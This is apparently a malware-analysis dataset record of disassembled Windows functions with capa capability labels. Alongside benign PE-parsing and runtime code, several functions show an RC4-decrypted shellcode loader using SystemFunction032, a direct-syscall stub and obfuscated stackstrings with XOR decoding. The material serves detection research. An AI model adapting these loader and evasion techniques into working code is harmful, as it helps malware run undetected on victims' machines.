joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002c950
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call dbg.vfprintf
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
int3

Function at 0x14002d180
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
xor edi, edi
cmp rax, 8
ja 0x14002d202
mov rax, qword [0x14002e010]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14002d202
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002d200
add rax, rcx
movzx ecx, word [rax + 0x18]
cmp ecx, 0x20b
jne 0x14002d200
movzx ebx, word [rax + 6]
test ebx, ebx
je 0x14002d200
movzx ecx, word [rax + 0x14]
lea rdi, [rcx + rax]
add rdi, 0x18
xor ebp, ebp
nop dword [rax]
mov r8d, 8
mov rcx, rdi
mov rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strncmp
test eax, eax
je 0x14002d202
add ebp, 1
add rdi, 0x28
cmp ebp, ebx
jb 0x14002d1e0
xor edi, edi
mov rax, rdi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret

Function at 0x14002d210
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x14002e010]
movzx edx, word [r8]
cmp edx, 0x5a4d
jne 0x14002d27d
movsxd rdx, dword [r8 + 0x3c]
cmp dword [r8 + rdx], 0x4550
jne 0x14002d27d
add r8, rdx
movzx edx, word [r8 + 0x18]
cmp edx, 0x20b
jne 0x14002d27d
movzx edx, word [r8 + 6]
test edx, edx
je 0x14002d27d
sub rcx, qword [0x14002e010]
movzx eax, word [r8 + 0x14]
add rax, r8
add rax, 0x18
jmp 0x14002d269
add rax, 0x28
add edx, 0xffffffff
je 0x14002d27d
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x14002d260
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x14002d260
jmp 0x14002d27f
xor eax, eax
ret

Function at 0x14002d280
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14002e010]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x14002d2b6
movsxd r8, dword [rcx + 0x3c]
cmp dword [rcx + r8], 0x4550
jne 0x14002d2b6
movzx edx, word [rcx + r8 + 0x18]
cmp edx, 0x20b
jne 0x14002d2b6
movzx eax, word [rcx + r8 + 6]
ret

Function at 0x14002d330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14002e010]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x14002d35c
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002d35c
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x14002d35e
xor eax, eax
ret
Function at 0x14002d3f0
Capabilities:
Parse pe header

Disassembly:
push rsi
mov r8, qword [0x14002e010]
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x14002d47e
movsxd rax, dword [r8 + 0x3c]
cmp dword [r8 + rax], 0x4550
jne 0x14002d47e
add rax, r8
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14002d47e
mov r10d, dword [rax + 0x90]
test r10, r10
je 0x14002d47e
movzx edx, word [rax + 6]
test rdx, rdx
je 0x14002d47e
movzx esi, word [rax + 0x14]
shl rdx, 3
lea r9, [rdx + rdx*4]
lea r11, [rax + rsi]
add r11, 0x24
xor eax, eax
xor edx, edx
jmp 0x14002d459
add rdx, 0x28
cmp r9d, edx
je 0x14002d480
mov esi, dword [r11 + rdx]
cmp esi, r10d
ja 0x14002d450
add esi, dword [r11 + rdx - 4]
cmp esi, r10d
jbe 0x14002d450
lea rdx, [r10 + r8]
add rdx, 0xc
xor eax, eax
cmp dword [rdx - 8], 0
jne 0x14002d4a2
jmp 0x14002d49d
xor eax, eax
pop rsi
ret
add ecx, 0xffffffff
add rdx, 0x14
cmp dword [rdx - 8], 0
jne 0x14002d4a2
cmp dword [rdx], 0
je 0x14002d480
test ecx, ecx
jg 0x14002d490
mov eax, dword [rdx]
add rax, qword [0x14002e010]
jmp 0x14002d480

Function at 0x14002d4f0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xf911503
call sym.SW3_GetSyscallNumber
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x140032860
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0xa0
mov edx, dword [0x14004b044]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14003297b
mov r8d, dword [0x14004b044]
lea rdx, section..text
mov rcx, rax
call fcn.140033420
mov ecx, dword [0x14004b044]
lea rax, [rsp + 0x50]
movups xmm0, xmmword [str.FHPwJkWddUJ0xNVfS2313BtU4yOqM4VQxE9wZVrcE98CrnIMCdhdO32QzI6dieYZ]
mov dword [rsp + 0x38], ecx
movups xmm1, xmmword [0x14004b010]
mov dword [rsp + 0x3c], ecx
lea rcx, str.cryptsp.dll
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14004b020]
mov byte [rsp + 0x90], 0
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x14004b030]
mov qword [rsp + 0x40], rbx
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x2c], 0x40
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x38]
call rax
mov edx, dword [0x14004b044]
lea r9, [rsp + 0x20]
mov r8d, 0x10
mov dword [rsp + 0x20], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14003297b
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
add rsp, 0xa0
pop rbx
ret
mov eax, 0xffffffff
add rsp, 0xa0
pop rbx
ret

Function at 0x140033100
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003314a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003314a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003314a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003314a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003314a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003314c
xor al, al
add rsp, 0x28
ret

Function at 0x1400371f0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140036fec
Function at 0x14003a2a4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14003a2d4
xor eax, eax
jmp 0x14003a397
mov rbp, rbx
cmp word [rax], si
je 0x14003a2f9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003a2e0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14003a2dc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14003a1c4
movsxd r14, eax
test eax, eax
jne 0x14003a337
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14003a2cd
mov rcx, r14
call fcn.14003ad38
mov rdi, rax
test rax, rax
jne 0x14003a350
xor ecx, ecx
call fcn.1400387fc
jmp 0x14003a32c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14003a1c4
test eax, eax
jne 0x14003a381
mov rcx, rdi
call fcn.1400387fc
jmp 0x14003a38b
xor ecx, ecx
call fcn.1400387fc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001112c
Capabilities:
Execute syscall

Disassembly:
jmp 0x1400127d1
mov r10, rcx
mov eax, dword [0x14001e170]
syscall
ret

Function at 0x14001116d
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140011c70
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x14001e180]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400230a3]
call fcn.14001139d
nop
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140011d59
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.1400111a4
nop
xor eax, eax
jmp 0x140011d5e
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001acc0]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400111e0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140011810
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400230a3]
call fcn.14001139d
nop
mov rax, qword [rbp + 0x120]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140011852
xor eax, eax
jmp 0x1400118ab
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
cmp dword [rax], 0x4550
je 0x14001187b
xor eax, eax
jmp 0x1400118ab
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rbp + 0x120]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x128]
mov qword [rcx], rax
mov eax, 1
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013c30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140012e70
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113c5
movzx eax, al
test eax, eax
jne 0x140012e90
mov ecx, 7
call fcn.140011339
nop
mov byte [rsp + 0x20], 0
call fcn.14001134d
mov byte [rsp + 0x21], al
cmp dword [0x14001e9e8], 1
jne 0x140012eb4
mov ecx, 7
call fcn.140011339
nop
jmp 0x140012f0c
cmp dword [0x14001e9e8], 0
jne 0x140012f07
mov dword [0x14001e9e8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111a9
test eax, eax
je 0x140012ee8
mov eax, 0xff
jmp 0x140013011
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011343
mov dword [0x14001e9e8], 2
jmp 0x140012f0c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011325
call fcn.1400112bc
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012f69
mov rcx, qword [rsp + 0x30]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x140012f69
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140024020]
nop
call fcn.1400112ee
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012f9d
mov rcx, qword [rsp + 0x38]
call fcn.140011159
movzx eax, al
test eax, eax
je 0x140012f9d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001137f
nop
call fcn.1400130c0
mov dword [rsp + 0x28], eax
call fcn.140011299
movzx eax, al
test eax, eax
jne 0x140012fbc
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012fcb
call fcn.140011389
nop
xor edx, edx
mov cl, 1
call fcn.14001114a
mov eax, dword [rsp + 0x28]
jmp 0x140013011
add rsp, 0x68
ret
Function at 0x140003c04
Capabilities:
Copy file
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov ebx, dword [rsp + 0xb8]
xor edi, edi
mov rsi, rdx
mov r15, rcx
test ebx, 0xffffffe0
je 0x140003c4f
lea ecx, [rdi + 0x57]
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
jmp 0x140003e68
mov ecx, ebx
mov eax, ebx
and ecx, 1
and eax, 8
mov r14d, ecx
bts r14d, 0xc
test al, al
cmove r14d, ecx
xor edx, edx
mov rcx, r15
call fcn.140005448
mov qword [rsp + 0xb0], rax
mov r13, rax
test rax, rax
je 0x140003e66
xor edx, edx
mov rcx, rsi
call fcn.140005448
mov qword [rsp + 0x40], rax
mov rbp, rax
test rax, rax
je 0x140003e21
mov rbp, qword [rsp + 0xa8]
xor r12d, r12d
mov r8, qword [rsp + 0xa0]
mov r9, rbp
and dword [rsp + 0xb8], 0
mov rdx, rsi
mov dword [rsp + 0x28], r14d
mov rcx, r15
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CopyFileExW]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jne 0x140003d5d
mov ecx, ebx
and ecx, 2
test cl, cl
je 0x140003d5d
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
inc r12d
lea r8, [rsp + 0xb8]
mov edx, eax
mov ecx, r12d
mov r13d, eax
int3
mov rbp, qword [rsp + 0x40]
test edi, edi
je 0x140003e19
and ebx, 4
test bl, bl
je 0x140003e19
mov edx, 0x80
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jne 0x140003e19
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
lea r15d, [rdi + 0x1f]
mov r14d, 0x2000000
test eax, eax
lea r8, str.WdsCopyFileEx:_Failed_to_strip_file_attributes_for__s__will_delete._GLE__0x_x
mov ebx, eax
lea rcx, [0x1400356a8]
cmove ebx, r15d
mov r9, rsi
mov edx, r14d
mov dword [rsp + 0x20], ebx
call fcn.140003040
xor edx, edx
mov rcx, rsi
call fcn.14000427c
test eax, eax
jne 0x140003e0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov r9, rsi
lea r8, str.WdsCopyFileEx:_Failed_to_delete__s._GLE__0x_x
test eax, eax
lea rcx, [0x1400356a8]
mov edx, r14d
cmove eax, r15d
mov dword [rsp + 0x20], eax
call fcn.140003040
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
mov r13, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
test rbp, rbp
je 0x140003e66
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop dword [rax + rax]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov eax, edi
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000bd18
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x30
and dword [rsp + 0x78], 0
mov rbx, rdx
and dword [rsp + 0x70], 0
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
nop dword [rax + rax]
movzx eax, ax
xor esi, esi
lea r8, [rsp + 0x60]
mov dword [r14 + 0x48], eax
mov edx, 0x20000075
xor ecx, ecx
lea r9d, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
nop dword [rax + rax]
mov r12d, 0x80070000
test eax, eax
jne 0x14000bd97
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
jne 0x14000bd8a
mov esi, 0x80004005
jmp 0x14000bdca
movzx esi, ax
or esi, r12d
test eax, eax
cmovle esi, eax
jmp 0x14000bdca
mov eax, dword [rsp + 0x60]
cmp eax, 3
ja 0x14000bdc5
mov edx, 0x76
mov dword [r14 + 0x4c], eax
lea r8, [r14 + 0x50]
xor ecx, ecx
lea r9d, [rdx - 0x72]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
nop dword [rax + rax]
test eax, eax
jne 0x14000bdd1
jmp 0x14000bd73
mov esi, 0x8007054f
mov ecx, esi
call fcn.140012d04
mov ecx, esi
int3
Function at 0x14001337c
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword gs:[0x58]
mov r14, rcx
mov ecx, 4
movaps xmmword [rsp + 0x40], xmm6
mov rdx, qword [rax]
mov eax, dword [rcx + rdx]
cmp dword [0x1400359bc], eax
jg 0x1400135ae
xor r12d, r12d
lea rcx, [r14 + 0x28]
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop dword [rax + rax]
mov ebp, r12d
cmp dword [r14], r12d
jne 0x1400133f3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
nop dword [rax + rax]
sub eax, dword [r14 + 0x50]
cmp eax, 0xb7
jb 0x140013562
cmp dword [r14 + 0x18], r12d
jne 0x140013562
mov rcx, qword [r14 + 8]
call qword [sym.imp.USER32.dll_GetDC]
nop dword [rax + rax]
mov rdi, rax
test rax, rax
jne 0x140013449
mov rdi, r12
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
jne 0x14001342f
mov ebp, 0x80004005
jmp 0x14001343d
movzx ebp, ax
or ebp, 0x80070000
test eax, eax
cmovle ebp, eax
mov ecx, ebp
call fcn.140012d04
jmp 0x140013562
mov rdx, qword [r14 + 0x10]
test rdx, rdx
je 0x140013461
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
nop dword [rax + rax]
mov r15, qword [r14 + 0x20]
movzx eax, word [r14 + 0x54]
add ax, word [r14]
mov word [rsp + 0x80], ax
lea rbx, [r15 + 0x118]
mov rcx, rbx
cmp dword [r14 + 0x5c], r12d
je 0x14001349c
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop dword [rax + rax]
movups xmm6, xmmword [r15 + 0xa4]
jmp 0x1400134ad
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop dword [rax + rax]
movups xmm6, xmmword [r15 + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop dword [rax + rax]
mov edx, 0xffffff
movdqa xmmword [rsp + 0x30], xmm6
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SetTextColor]
nop dword [rax + rax]
mov edx, dword [r14 + 0x58]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SetBkColor]
nop dword [rax + rax]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SetMapMode]
nop dword [rax + rax]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SetBkMode]
nop dword [rax + rax]
mov r8d, dword [rsp + 0x34]
lea r9, [rsp + 0x80]
mov edx, dword [rsp + 0x30]
mov rcx, rdi
mov dword [rsp + 0x20], 1
call qword [sym.imp.GDI32.dll_TextOutW]
nop dword [rax + rax]
mov eax, dword [0x1400359b8]
mov ecx, dword [r14]
dec eax
cmp ecx, eax
jne 0x14001355d
mov dword [r14], r12d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
nop dword [rax + rax]
mov dword [r14 + 0x50], eax
jmp 0x140013562
inc ecx
mov dword [r14], ecx
mov ecx, ebp
call fcn.140012d24
lea rcx, [r14 + 0x28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop dword [rax + rax]
test rdi, rdi
je 0x14001358d
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteDC]
nop dword [rax + rax]
movaps xmm6, xmmword [rsp + 0x40]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov eax, ebp
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
lea rcx, [0x1400359bc]
int3
Function at 0x14001bc14
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x140035078]
xor rax, rsp
mov qword [rbp + 0x280], rax
and qword [rsp + 0x48], 0
xor bl, bl
and dword [rsp + 0x58], 0
mov rdi, rcx
and dword [rsp + 0x44], 0
mov dword [rsp + 0x54], 4
test rcx, rcx
je 0x14001bdb6
lea rax, [rsp + 0x48]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionLanguagePack
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001bdb6
xor edx, edx
lea rcx, [rsp + 0x68]
mov r8d, 0x114
call sub.msvcrt.dll_memset
mov r8b, 2
mov dword [rsp + 0x60], 0x11c
mov edx, 2
mov dword [rsp + 0x64], 6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
nop dword [rax + rax]
mov edx, 2
lea rcx, [rsp + 0x60]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
nop dword [rax + rax]
test eax, eax
je 0x14001bd63
and dword [rsp + 0x40], 0
lea rcx, [rbp + 0x80]
xor edi, edi
xor edx, edx
mov r8d, 0x200
call sub.msvcrt.dll_memset
and qword [rsp + 0x38], 0
lea rax, [rsp + 0x40]
and qword [rsp + 0x30], 0
lea r9, [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
lea r8, [rbp + 0x80]
mov qword [rsp + 0x28], rax
mov edx, edi
and qword [rsp + 0x20], 0
mov dword [rsp + 0x50], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
nop dword [rax + rax]
inc edi
test eax, eax
jne 0x14001bd5a
cmp dword [rsp + 0x40], 4
je 0x14001bd9e
cmp eax, 0x103
jne 0x14001bd0a
jmp 0x14001bda0
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001bda0
cmp dword [rsp + 0x44], 4
jne 0x14001bda0
mov bl, 1
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14001bdb6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop dword [rax + rax]
mov al, bl
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.140023d70
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140023c35
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rax, rax
sub rcx, 0xd55f
add rax, rcx
add rax, 0xd55f
add rcx, 0xd55f
sub rsp, 0x3f0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
and rcx, 0
add rcx, rsi
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x5aa1
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x441e
lea r9, [0x14001fa14]
add byte [rax - 0x7d], cl
invalid
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140023cf2
je 0x140023d09
insb byte [rdi], dx
cld
add byte [rax], al
je 0x140023d13
jne 0x140023cdd
lea rax, [0x140023206]
add rax, 0xb32
call rax
je 0x140023cae
push rsp
ror byte [rax - 0x39], cl
shl dword [rsi], 0x3e
add byte [rax], al
mov rcx, 0x3e26
mov r9d, 0x8d68
mov r10d, 0x92819200
lea eax, [rax]
add byte [rcx - 0x46], al
add byte [rdx - 0xb76d7f], dl
leave
dec rcx
xor byte [rax + rcx], r9b
add r9d, r10d
rol r9d, 1
test rcx, rcx
jne 0x140023d1c
add rax, 0x1ebd
mov rsp, rbp
mov rbp, qword [rsp]
add rsp, 8
ret

Function at 0x140023ebc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140023f08
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140023f00
cmp dword [rcx + 0x3c], edx
jl 0x140023f00
cmp dword [rcx + 0x3c], 0x10000000
